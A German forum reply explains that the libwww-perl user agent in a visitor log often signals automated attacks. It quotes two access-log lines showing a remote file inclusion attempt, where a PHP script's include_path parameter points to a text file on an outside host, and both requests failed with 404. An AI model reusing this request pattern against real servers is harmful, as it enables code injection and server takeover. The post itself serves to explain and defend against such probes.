Patrick Andrieu: libwww-perl/5.805 = Hacker ?

Beitrag lesen

Hallo Ina!

Habe in meinen Logfiles Besucherstatistik folgedes gefunden:
Da hat mein cgi einen Besucher  mit
$ENV{'HTTP_USER_AGENT'}= libwww-perl/5.805 erkannt.

Falls es sich um solche Zeilen handelt:

85.14.216.89 - libwww-perl/5.76
Besuchte Domain Uhrzeit Methode Angeforderte Datei Status Referer
www.atomic-eggs.com 04:35:19 GET /cwi//auction/includes/messages.inc.php?include_path=http://www.manzoteam.it/millesimo/foto_week/36.txt???? 404 -
www.atomic-eggs.com 04:35:19 GET //auction/includes/messages.inc.php?include_path=http://www.manzoteam.it/millesimo/foto_week/36.txt???? 404 -

hast Du es mit Script-Kiddies zu tun, die versuchen, die Datei (hier »36.txt«) über das eine oder andere unsichere PHP-Skript auf deinen Server einzuschleusen, um sie später sicher aufzurufen. Ist das PHP-Skript nicht da, haben die eh keine Chance, und erhalten einen 404.

Viele Grüße aus Frankfurt/Main,
Patrick

--

_ - jenseits vom delirium - _
[link:hatehtehpehdoppelpunktslashslashwehwehwehpunktatomicminuseggspunktcomslash]
Nichts ist unmöglich? Doch!
Heute schon gegökt?